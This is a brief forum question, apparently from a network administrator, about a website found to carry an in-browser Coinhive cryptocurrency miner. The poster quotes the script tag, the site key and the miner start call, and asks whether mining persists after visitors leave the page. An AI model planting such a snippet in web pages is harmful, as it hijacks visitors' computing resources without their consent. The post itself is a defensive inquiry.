title: Site with a bitcoin miner script
body: <p>I found some of my users visiting a site that seemed to have a Bitcoin mining JS script in its code: </p>
  
  <pre><code>&lt;script src = "hxxps://coin-hive.com/lib/coinhive.min.js"&gt;&lt;/script&gt;&lt;script&gt;
  var miner = new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f');
  miner.start();
  &lt;/script&gt;
  </code></pre>
  
  <p>My question is, with this are the users still infected even if they navigate away from the page? Do these sort of programs only work while the user has the page open in the browser?</p>